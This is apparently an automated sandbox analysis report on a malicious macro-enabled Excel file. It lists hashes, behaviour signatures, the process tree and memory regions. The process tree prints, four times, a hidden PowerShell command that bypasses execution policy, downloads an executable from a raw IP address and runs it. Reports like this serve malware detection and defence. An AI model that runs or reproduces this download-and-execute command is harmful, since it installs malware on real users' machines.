Analysis

  • max time kernel
    144s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    04-09-2024 14:38

General

  • Target

    SOAPO8829921199.xlsm

  • Size

    165KB

  • MD5

    c0a096ce5928bce34fffd5874093f235

  • SHA1

    971a8fbd841e42dcab84288205525b89301825c2

  • SHA256

    54929de588e37191bfc6dd0bf4f3edc1fca58c67af0e6bc7b1bd15a66d8c1bf0

  • SHA512

    9d7c5aaf2fe546422ff3379169909929ec50f6eebba27d527178066c943ea2973a72c7501202b9502c8ccd646dfe6b49c1194c34b8f9822404bf1fad6971eb61

  • SSDEEP

    3072:BJNjJehd8PiRjkctohQQRBK0BvyixmZ49ke+jJLNkYa6+Rc64d:BJN06iactuRbB6M9+1GYaza64d

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\SOAPO8829921199.xlsm
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
      1⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
      1⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
      1⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
      1⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1328

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      dbe2c2908cda1b6595e1a78933175a3c

      SHA1

      5aa221f3057ab1074e6ca6d1214614e232ccb953

      SHA256

      c9cf872a4cc9f905d2fd589adee0cfc580eb3016106b998e0efeaff1185f59e7

      SHA512

      e128290365b624125b51963568504e9e7e5fe819b9295c80994f477997ddb61bc96df83afd96e4c5ba7ad02a456bc843c2f10ca4ea570e1bf153d6e400415948

    • memory/2132-10-0x000000001B700000-0x000000001B9E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2132-11-0x0000000001E50000-0x0000000001E58000-memory.dmp

      Filesize

      32KB

    • memory/2884-5-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2884-4-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2884-3-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2884-2-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

      Filesize

      44KB

    • memory/2884-12-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2884-13-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2884-1-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

      Filesize

      44KB

    • memory/2884-21-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-19-0x000000001B5A0000-0x000000001B882000-memory.dmp

      Filesize

      2.9MB

    • memory/3036-20-0x0000000002990000-0x0000000002998000-memory.dmp

      Filesize

      32KB